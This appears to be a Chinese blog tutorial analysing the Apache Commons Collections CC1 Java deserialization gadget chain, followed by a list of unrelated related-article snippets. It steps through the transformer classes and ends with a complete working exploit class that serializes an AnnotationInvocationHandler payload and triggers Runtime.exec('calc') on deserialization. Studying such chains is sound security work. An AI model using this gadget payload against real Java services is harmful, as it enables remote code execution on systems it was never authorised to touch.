Java安全 CC链1分析
Java安全之CC链1分析
- 什么是CC链
- 环境搭建
- jdk下载
- idea配置
- 创建项目
- 前置知识
- Transformer接口
- ConstantTransformer类
- invokerTransformer类
- ChainedTransformer类
- 构造CC链1
- CC链1核心
- demo1
- demo1分析
- 寻找如何触发CC链1核心
- TransformedMap类
- AbstractInputCheckedMapDecorator类
- readObject方法
- 完整cc链1 exp
什么是CC链
Apache Commons工具包中有⼀个组件叫做 Apache Commons Collections ,其封装了Java 的 Collection(集合) 相关类对象,它提供了很多强有⼒的数据结构类型并且实现了各种集合工具类,Commons Collections被⼴泛应⽤于各种Java应⽤的开发,而正是因为在大量web应⽤程序中这些类的实现以及⽅法的调用,导致了反序列化漏洞的普遍性和严重性
Apache Commons Collections中有⼀个特殊的接口,其中有⼀个实现该接口的类可以通过调用 Java的反射机制来调用任意函数,叫做InvokerTransformer,它可通过反射调用类中的方法,从而通过一连串的调用而造成命令执行,这条链便叫做Commons Collections链(简称cc链)。
建议学习cc链之前先学一下Java的反射机制
环境搭建
jdk下载
我们一共需要下载两个东西
- CommonsCollections <= 3.2.1
- java 8u66 (高版本的jdk有些漏洞已被修复)
java 8u66下载地址
一些源码为class文件,idea反编译出来的文件不方便阅读,我们需要去下载openjdk的源码,并导入我们的jdk中
下载地址
在jdk 8u66安装好后,我们进入安装目录的jdk1.8.0_65文件夹,将 src.zip 解压到当前文件夹
然后将刚才下好的openjdk源码解压,并来到src\share\classes
下面,将sun文件夹复制到jdk的src目录中
idea配置
我们点击左上角的项目结构
然后将jdk的src目录分别添加到类路径和源路径中
创建项目
我们构建系统选择Maven然后创建名为cc1的项目
然后在项目左侧的文件栏中选择 pom.xml 并在其中添加以下内容
用于下载commons-collections依赖
<dependencies><!-- https://mvnrepository.com/artifact/commons-collections/commons-collections --><dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.2.1</version></dependency></dependencies>
最后右键 pom.xml,再点击 Maven选项,按图上标号顺序点击即可
生成源代码需要等待一小会,等目录中出现target文件夹时即可点击 重新加载项目
到此我们所需环境配置完成,下面开始调试分析
前置知识
Transformer接口
接口代码为
public interface Transformer {public Object transform(Object input);
}
该接口实现了对 对象 的转化,对传入的对象进行一些操作,然后并返回操作完的对象
该接口的重要实现有:
- ConstantTransformer
- invokerTransformer
- ChainedTransformer
- TransformedMap
这些实现的类都与CC链有关,以下是对这些实现的介绍
ConstantTransformer类
ConstantTransformer类的代码为
public class ConstantTransformer implements Transformer, Serializable {public static Transformer getInstance(Object constantToReturn) {if (constantToReturn == null) {return NULL_INSTANCE;}return new ConstantTransformer(constantToReturn);}public ConstantTransformer(Object constantToReturn) {super();iConstant = constantToReturn;}public Object transform(Object input) {return iConstant;}public Object getConstant() {return iConstant;}
}
我们着重分析下ConstantTransformer构造方法和transform方法
其ConstantTransformer构造方法接收任意类型对象,并赋值给 iConstant 变量,然后无论 transform方法接收什么 input 参数,其都会返回 iConstant 变量,也就是说假如只调用构造方法和transform方法的话,我们传入什么对象,就会原封不动地返回什么对象
invokerTransformer类
invokerTransformer类的代码为
public class InvokerTransformer implements Transformer, Serializable {private static final long serialVersionUID = -8653385846894047688L;private final String iMethodName;private final Class[] iParamTypes;private final Object[] iArgs;public static Transformer getInstance(String methodName) {if (methodName == null) {throw new IllegalArgumentException("The method to invoke must not be null");}return new InvokerTransformer(methodName);}public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {if (methodName == null) {throw new IllegalArgumentException("The method to invoke must not be null");}if (((paramTypes == null) && (args != null))|| ((paramTypes != null) && (args == null))|| ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {throw new IllegalArgumentException("The parameter types must match the arguments");}if (paramTypes == null || paramTypes.length == 0) {return new InvokerTransformer(methodName);} else {paramTypes = (Class[]) paramTypes.clone();args = (Object[]) args.clone();return new InvokerTransformer(methodName, paramTypes, args);}}private InvokerTransformer(String methodName) {super();iMethodName = methodName;iParamTypes = null;iArgs = null;}public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {super();iMethodName = methodName;iParamTypes = paramTypes;iArgs = args;}public Object transform(Object input) {if (input == null) {return null;}try {Class cls = input.getClass();Method method = cls.getMethod(iMethodName, iParamTypes);return method.invoke(input, iArgs);} catch (NoSuchMethodException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");} catch (IllegalAccessException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");} catch (InvocationTargetException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);}}}
我们同样分析下 InvokerTransformer构造方法和transform方法
构造方法为
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {super();iMethodName = methodName;iParamTypes = paramTypes;iArgs = args;}
该方法接收3个参数,分别为 方法名,方法参数类型表,方法参数,在成功接收这三个参数后,便会赋值给其成员变量iMethodName,iParamTypes,iArgs
transform方法为
public Object transform(Object input) {if (input == null) {return null;}try {Class cls = input.getClass();Method method = cls.getMethod(iMethodName, iParamTypes);return method.invoke(input, iArgs);} catch (NoSuchMethodException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");} catch (IllegalAccessException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");} catch (InvocationTargetException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);}}
该方法首先需要接收一个名为 input 的对象参数,如果该参数不存在则返回NULL,然后通过 getClass() 方法获取该对象的class对象赋值给cls,然后又通过 getMethod() 方法,获取cls对象中指定参数类型的公共方法,最后通过 invoke() 方法对刚才获取的方法传入参数iArgs并执行,最后返回执行结果(基于反射机制实现)。
ChainedTransformer类
ChainedTransformer类代码为
public class ChainedTransformer implements Transformer, Serializable {private static final long serialVersionUID = 3514945074733160196L;private final Transformer[] iTransformers;public static Transformer getInstance(Transformer[] transformers) {FunctorUtils.validate(transformers);if (transformers.length == 0) {return NOPTransformer.INSTANCE;}transformers = FunctorUtils.copy(transformers);return new ChainedTransformer(transformers);}public static Transformer getInstance(Collection transformers) {if (transformers == null) {throw new IllegalArgumentException("Transformer collection must not be null");}if (transformers.size() == 0) {return NOPTransformer.INSTANCE;}Transformer[] cmds = new Transformer[transformers.size()];int i = 0;for (Iterator it = transformers.iterator(); it.hasNext();) {cmds[i++] = (Transformer) it.next();}FunctorUtils.validate(cmds);return new ChainedTransformer(cmds);}public static Transformer getInstance(Transformer transformer1, Transformer transformer2) {if (transformer1 == null || transformer2 == null) {throw new IllegalArgumentException("Transformers must not be null");}Transformer[] transformers = new Transformer[] { transformer1, transformer2 };return new ChainedTransformer(transformers);}public ChainedTransformer(Transformer[] transformers) {super();iTransformers = transformers;}public Object transform(Object object) {for (int i = 0; i < iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;}public Transformer[] getTransformers() {return iTransformers;}
}
我们分析其ChainedTransformer构造方法和transform方法
首先构造方法接收一个Transformer[]接口类型的数组,并将其赋值给成员变量iTransformers
public ChainedTransformer(Transformer[] transformers) {super();iTransformers = transformers;
}
然后transform方法会循环遍历该Transformer数组,执行该数组每一个成员的 transform 方法,并将执行结果作为下一次 transform 的参数,最后返回最终的执行结果
public Object transform(Object object) {for (int i = 0; i < iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;}
ChainedTransformer类可以说非常重要,是cc链的核心,它可以将整条cc链串起来,进行链式执行
构造CC链1
CC链1核心
cc链1的核心就是以下代码
Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc");
//通过Runtime类的getRuntime方法的exec函数进行命令执行
demo1
实现这条核心代码的便是如下transform链
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class demo1{public static void main(String[] args) throws Exception{//transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};//transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作ChainedTransformer transformerChain = new ChainedTransformer(transformers);transformerChain.transform(1);//完全的cc1需要找到哪里可调用transform方法}
}
该方法定义了一个Transformer接口的数组,然后将该数组传递给 ChainedTransformer 类
demo1分析
接下来我们来逐条分析一下
首先 transformerChain对象调用了transform方法(传入参数1),开始循环遍历 transformers 数组
第一次遍历:
执行
ConstantTransformer(Runtime.class).transform(1)
因为 Runtime 为单例类,不能直接实例化,所以要通过反射的方法获取
由于ConstantTransformer的transform方法不受传入参数的影响,故返回值还是 Runtime.class
第二次遍历:
将上一次的结果 Runtime.class
带入本次transform,执行
InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}).transform(Runtime.class)
得到返回结果为
Runtime.class.getMethod("getRuntime")
第三次遍历:
将上一次结果Runtime.class.getMethod("getRuntime")
带入本次transform,执行
InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}).transform(Runtime.class.getMethod("getRuntime"))
得到返回结果为
Runtime.class.getMethod("getRuntime").invoke(null)
第四次遍历:
将上一次结果Runtime.class.getMethod("getRuntime").invoke(null)
带入本次transform,执行
InvokerTransformer("exec", new Class[]{String.class}, new Object[{"calc"}).transform(Runtime.class.getMethod("getRuntime").invoke(null))
得到最终执行结果为
Runtime.class.getMethod("getRuntime").invoke(null).exec("calc")
我们运行,可以看到成功弹出计算器
寻找如何触发CC链1核心
TransformedMap类
我们选中transform()方法,查看哪里对其进行了调用
发现TransformedMap类中的checkSetValue方法对其进行了调用,并返回
该方法定义如下
protected Object checkSetValue(Object value) {return valueTransformer.transform(value);
}
所以我们只需将TransformedMap类中的valueTransformer属性赋值为ChainedTransformer(上一步的核心链),然后调用它的checkSetValue方法,从而触发ChainedTransformer的transform方法,对Transformer数组进行遍历循环,即可进行代码执行
但是我们向上找到TransformedMap类的构造方法,如下
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {super(map);this.keyTransformer = keyTransformer;this.valueTransformer = valueTransformer;
}
发现构造发现是 protected 类型的,并不能直接new实例化,但我们发现了其 decorate 静态方法,如下
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {return new TransformedMap(map, keyTransformer, valueTransformer);
}
通过分析,我们发现我们只需调用TransformedMap类的静态方法decorate,即可得到一个可自定义属性(包括valueTransformer)的TransformedMap对象
这样我们调用checkSetValue方法时,transform方法 执行的对象赋值的问题便解决了
AbstractInputCheckedMapDecorator类
接下来我们便寻找那里调用了 checkSetValue方法,同样通过(Alt+F7),查找用法
这里只找到一处引用
在 AbstractInputCheckedMapDecorator类的setValue方法中,该方法如下
public Object setValue(Object value) {value = parent.checkSetValue(value);return entry.setValue(value);}
也就是我们在执行setValue方法时便会触发cc链1
同时我们发现 TransformedMap类(上文含有checkSetValue和decorate方法的类)是AbstractInputCheckedMapDecorator类的子类
public class TransformedMapextends AbstractInputCheckedMapDecorator
……
并且AbstractInputCheckedMapDecorator类重写了Map.Entry的setValue方法,具体继承关系由下图所示
所以当我们调用由TransformedMap类装饰的Map(键值对集合),其Map.Entry(键值对)的setValue方法时,调用的便是它的父类AbstractInputCheckedMapDecorator类重写的setValue方法,便会触发 checkSetValue方法,从而触发cc链1
我们写一个这样的例子,遍历TransformedMap类装饰的Map的Entry
package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
public class demo2 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer transformerChain = new ChainedTransformer(transformers);HashMap<Object, Object> map = new HashMap<>();map.put("key","value");//创建TransformedMap类装饰的MapMap<Object,Object> transformedMap = TransformedMap.decorate(map, null, transformerChain);for (Map.Entry entry:transformedMap.entrySet()){entry.setValue(1);}}
}
readObject方法
然后我们再寻找哪里调用了setValue方法,同样 Alt+F7快捷键选中查找引用
我们在AnnotationInvocationHandler类的readObject方法中找到了对setValue方法的引用,好像找到了这条cc链1的反序列化起点,接下来我们具体分析下
readObject方法代码如下
private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {s.defaultReadObject();AnnotationType annotationType = null;try {annotationType = AnnotationType.getInstance(type);} catch(IllegalArgumentException e) {throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");}Map<String, Class<?>> memberTypes = annotationType.memberTypes();for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {String name = memberValue.getKey();Class<?> memberType = memberTypes.get(name);if (memberType != null) { Object value = memberValue.getValue();if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)) {memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));}}}}
我们发现需要利用的核心代码主要如下
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {String name = memberValue.getKey();Class<?> memberType = memberTypes.get(name);if (memberType != null) { Object value = memberValue.getValue();if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)){memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));}}}
经分析得,我们首先需要满足两重if语句,然后才可以对该Map.Entry执行setValue方法
这里强调一下,虽然这里的setValue方法带一个初始值,但我们ConstantTransformer类的transform方法,不受参数影响,构造方法传入什么,就原封不动返回什么
第一重if
if (memberType != null)
memberType由以下关键代码获得
annotationType = AnnotationType.getInstance(type);//获取传入的class对象的成员类型信息,type是构造方法传的class对象
Map<String, Class<?>> memberTypes = annotationType.memberTypes();//获取传入的Class对象类中的成员名和类型
String name = memberValue.getKey(); //获取Map键值对中的键名(成员名)
Class<?> memberType = memberTypes.get(name);//获取传入的Class对象中对应Map中成员名的类型
所以我们传入的class对象中要具有传入的Map中的键名成员(而且要为Annotation类的子类,下面有讲)
举个例子
假如传入Map如下
HashMap<Object,Object> hash = new HashMap<>();
hash.put("value",'b');
则我们传入的第一个参数,也就是class对象中必须有一个名为value的成员,这个成员可以是属性也可以是方法
第二重if
if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy))
我们要让里面的两个条件都为假,及Map的键值不能为见面对应类型或其子类型的实例的实例,同时不能为ExceptionProxy
类或其子类的实例
我们再来看下AnnotationInvocationHandler类构造方法,代码如下
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {Class<?>[] superInterfaces = type.getInterfaces();if (!type.isAnnotation() ||superInterfaces.length != 1 ||superInterfaces[0] != java.lang.annotation.Annotation.class)throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");this.type = type;this.memberValues = memberValues;}
该构造方法需要接收两个参数 **Annotation类或其子类的class对象 ** 和 **Map<String, Object>**对象
我们发现构造方法和类都私有的,需要通过反射获得
然后我们找到Annotation类的子类Target类中含有一个名为 value 的方法,定义如下
//Retention.java
@Documented
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.ANNOTATION_TYPE)
public @interface Retention {RetentionPolicy value();
}
这样我们传入有个含有键名为 value 的Map即可大功告成
完整cc链1 exp
如下:
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;public class Serialcc {public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {//定义一系列Transformer对象,组成一个变换链Transformer[] transformers = new Transformer[]{//返回Runtime.classnew ConstantTransformer(Runtime.class),//通过反射调用getRuntime()方法获取Runtime对象new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),//通过反射调用invoke()方法new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),//通过反射调用exec()方法启动notepadnew InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};//将多个Transformer对象组合成一个链ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object,Object> hash = new HashMap<>();//给HashMap添加一个键值对hash.put("value",'b');//使用chainedTransformer装饰HashMap生成新的Map decorateMap<Object,Object> decorate = TransformedMap.decorate(hash, null, chainedTransformer);//通过反射获取AnnotationInvocationHandler类的构造方法Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);//设置构造方法为可访问的constructor.setAccessible(true);//通过反射调用构造方法,传入Target.class和decorate参数,创建代理对象oObject o = constructor.newInstance(Target.class, decorate);serialize(o); //定义了一个序列化的方法unserialize("1.bin"); //定义了一个反序列化的方法}public static void serialize(Object obj) throws IOException {ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));out.writeObject(obj);}public static void unserialize(String filename) throws IOException, ClassNotFoundException {ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));out.readObject();}}
运行成功弹出计算器
相关文章:

Java安全 CC链1分析
Java安全之CC链1分析 什么是CC链环境搭建jdk下载idea配置创建项目 前置知识Transformer接口ConstantTransformer类invokerTransformer类ChainedTransformer类 构造CC链1CC链1核心demo1demo1分析 寻找如何触发CC链1核心TransformedMap类AbstractInputCheckedMapDecorator类readO…...

Miracast手机高清投屏到电视(免费)
版权声明 本文原创作者:谷哥的小弟作者博客地址:http://blog.csdn.net/lfdfhl Miracast概述 Miracast是一种无线显示标准,它允许支持Miracast的设备之间通过Wi-Fi直接共享音频和视频内容,实现屏幕镜像或扩展显示。这意味着你可以…...

【elementUI】el-select相关问题
官方使用DEMO <template><el-select v-model"value" placeholder"请选择"><el-optionv-for"item in options":key"item.value":label"item.label":value"item.value"></el-option></…...

【蓝桥杯日记】复盘第一篇——顺序结构
🚀前言 本期是一篇关于顺序结构的题目的复盘,通过复盘基础知识,进而把基础知识学习牢固!通过例题而进行复习基础知识。 🚩目录 前言 1.字符三角形 分析: 知识点: 代码如下 2. 字母转换 题目分析: 知…...

使用 MinIO 和 PostgreSQL 简化数据事件
本教程将教您如何使用 Docker 和 Docker Compose 在 MinIO 和 PostgreSQL 之间设置和管理数据事件,也称为存储桶或对象事件。 您可能已经在利用 MinIO 事件与外部服务进行通信,现在您将通过使用 PostgreSQL 自动化和简化数据事件管理来增强数据处理能力…...

苹果电脑(Mac)的node版本安装以及升降级
在开发过程中,对于不同的开发环境或者较老的项目可能需要切换不同的node版本,此过程会涉及到node版本的升级与降级,安装node版本管理模块n(sudo命令)。 全局安装n模块 sudo npm install n -g//输入后回车,…...

WCP知识分享平台的容器化部署
1. 什么是WCP? WCP是一个知识管理、分享平台,支持针对文档(包括pdf,word,excel等)进行实时解析、索引、查询。 通过WCP知识分享平台进行知识信息的收集、维护、分享。 通过知识创建、知识更新、知识检索、知识分享、知识评价、知识统计等功能进行知识生命周期管理。 wcp官…...

乐意购项目前端开发 #4
一、Home页面组件结构 结构拆分 创建组件 在 views/Home 目录下创建component 目录, 然后在该目录下创建5个组件: 左侧分类(HomeCategory.vue)、Banner(HomeBanner.vue)、精选商品(HomeHot.vue)、低价商品(Homecheap.vue)、最新上架(HomeNew.vue) 引用组件 修改 views/Home…...

最安全的飞行器——飞行汽车
飞行汽车采用旋翼机飞行方式,稳定可靠,保证人身安全,可以垂直起降。旋翼机的稳定性在所有航空器中最高的,旋翼机被国际航空界公认为最安全的飞行器!增程器采用斯特林发电机。飞行汽车3D。 固定翼飞机在起飞的时候&…...

java验证ftp地址是否可用
一.前言 在实际开发中我们的业务是我们将订单发到客户的指定的地方, 我们需要验证用户的ftp地址是否真实且有效, 我们根据java程序来进行验证, 步骤和思路应该是. 步骤描述1导入所需要的 java类库(jar包依赖)2创建ftp客户端对象3设置ftp连接服务端的连接参数4建立与ftp的服务…...

多线程(看这一篇就够了,超详细,满满的干货)
多线程 一.认识线程(Thread)1. 1) 线程是什么1. 2) 为啥要有线程1.3) 进程和线程的区别标题1.4) Java的线程和操作系统线程的关系 二.创建线程方法1:继承Thread类方法2:实现Runnable接口方法3:匿名内部类创建Thread子类对象标题方法4:匿名内部类创建Runn…...

爬虫进阶之selenium模拟浏览器
爬虫进阶之selenium模拟浏览器 简介环境配置1、建议先安装conda2、创建虚拟环境并安装对应的包3、下载对应的谷歌驱动以及与驱动对应的浏览器 代码setting.py配置scrapy脚本参考中间件middlewares.py 附录:selenium教程 简介 Selenium是一个用于自动化浏览器操作的…...
props传值
文章目录 props用于父组件向子组件传递数据,从而实现组件之间的通信。 以下是使用props的详细步骤: 父组件中定义 props: 在父组件中,通过在子组件的标签上添加属性来定义要传递的数据。这些属性就是props。 <!-- ParentCompon…...

IaC基础设施即代码:Terraform 使用for_each 创建DNS资源副本
目录 一、实验 1.环境 2.Terraform 使用 for_each 创建资源副本 (DNS) 一、实验 1.环境 (1)主机 表1-1 主机 主机系统软件工具备注jia Windows Terraform 1.6.6VS Code、 PowerShell、 Chocolatey 2.Terraform 使用 for_ea…...

dubbo入门案例!!!
入门案例之前我们先介绍一下:zookeeper。 Zookeeper是Apacahe Hadoop的子项目,可以为分布式应用程序协调服务,适合作为Dubbo服务的注册中心,负责服务地址的注册与查找,相当于目录服务,服务提供者和消费者只…...
sm2和aes加解密
引用maven包 <dependency><groupId>org.bouncycastle</groupId><artifactId>bcprov-jdk18on</artifactId><version>1.72</version></dependency>2.对报文进行加密后生成签名 {// oristr报文 SECRET_KEY加密密钥String encrypt…...
cv2.findContours报错解决
问题引入 原代码: binary, contours, hierarchy cv2.findContours(thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_NONE) 发生了报错,这是因为我们这里返回了binary, contours, hierarchy三个值 这是opencv2里面的写法,在最新版opencv中只返回2个值 修改 contours, hierarchy c…...

RHEL - 更新升级软件或系统
《OpenShift / RHEL / DevSecOps 汇总目录》 文章目录 小版本软件更新yum update 和 yum upgrade 的区别升级软件和升级系统检查软件包是否可升级指定升级软件使用的发行版本方法1方法2方法3方法4 查看软件升级类型更新升级指定的 RHSA/RHBA/RHEA更新升级指定的 CVE更新升级指定…...

JNPF低代码开发平台总体架构介绍
目录 一、JNPF介绍 二、团队能力 三、技术选型 1.后端技术栈 2.前端技术栈 3.数据库支持 四、JNPF界面示意图 五、开发环境 一、JNPF介绍 JNPF是一款企业级低代码开发平台。基于Springboot、Vue技术,采用微服务、前后端分离架构,基于可视化数据建…...
axios的传参方式
目录 1、data传参 2、使用 params 传递查询参数: 3、使用路径参数传递数据: 在使用 Axios 发送 HTTP 请求时,有三种常见的传参方式:data、params 和路径参数 1、data传参 this.$axios({method: "post",url: "h…...

华为云AI开发平台ModelArts
华为云ModelArts:重塑AI开发流程的“智能引擎”与“创新加速器”! 在人工智能浪潮席卷全球的2025年,企业拥抱AI的意愿空前高涨,但技术门槛高、流程复杂、资源投入巨大的现实,却让许多创新构想止步于实验室。数据科学家…...

网络六边形受到攻击
大家读完觉得有帮助记得关注和点赞!!! 抽象 现代智能交通系统 (ITS) 的一个关键要求是能够以安全、可靠和匿名的方式从互联车辆和移动设备收集地理参考数据。Nexagon 协议建立在 IETF 定位器/ID 分离协议 (…...
基于大模型的 UI 自动化系统
基于大模型的 UI 自动化系统 下面是一个完整的 Python 系统,利用大模型实现智能 UI 自动化,结合计算机视觉和自然语言处理技术,实现"看屏操作"的能力。 系统架构设计 #mermaid-svg-2gn2GRvh5WCP2ktF {font-family:"trebuchet ms",verdana,arial,sans-…...
<6>-MySQL表的增删查改
目录 一,create(创建表) 二,retrieve(查询表) 1,select列 2,where条件 三,update(更新表) 四,delete(删除表…...
【Linux】C语言执行shell指令
在C语言中执行Shell指令 在C语言中,有几种方法可以执行Shell指令: 1. 使用system()函数 这是最简单的方法,包含在stdlib.h头文件中: #include <stdlib.h>int main() {system("ls -l"); // 执行ls -l命令retu…...
JVM暂停(Stop-The-World,STW)的原因分类及对应排查方案
JVM暂停(Stop-The-World,STW)的完整原因分类及对应排查方案,结合JVM运行机制和常见故障场景整理而成: 一、GC相关暂停 1. 安全点(Safepoint)阻塞 现象:JVM暂停但无GC日志,日志显示No GCs detected。原因:JVM等待所有线程进入安全点(如…...
.Net Framework 4/C# 关键字(非常用,持续更新...)
一、is 关键字 is 关键字用于检查对象是否于给定类型兼容,如果兼容将返回 true,如果不兼容则返回 false,在进行类型转换前,可以先使用 is 关键字判断对象是否与指定类型兼容,如果兼容才进行转换,这样的转换是安全的。 例如有:首先创建一个字符串对象,然后将字符串对象隐…...

有限自动机到正规文法转换器v1.0
1 项目简介 这是一个功能强大的有限自动机(Finite Automaton, FA)到正规文法(Regular Grammar)转换器,它配备了一个直观且完整的图形用户界面,使用户能够轻松地进行操作和观察。该程序基于编译原理中的经典…...

HarmonyOS运动开发:如何用mpchart绘制运动配速图表
##鸿蒙核心技术##运动开发##Sensor Service Kit(传感器服务)# 前言 在运动类应用中,运动数据的可视化是提升用户体验的重要环节。通过直观的图表展示运动过程中的关键数据,如配速、距离、卡路里消耗等,用户可以更清晰…...

GO协程(Goroutine)问题总结
在使用Go语言来编写代码时,遇到的一些问题总结一下 [参考文档]:https://www.topgoer.com/%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B/goroutine.html 1. main()函数默认的Goroutine 场景再现: 今天在看到这个教程的时候,在自己的电…...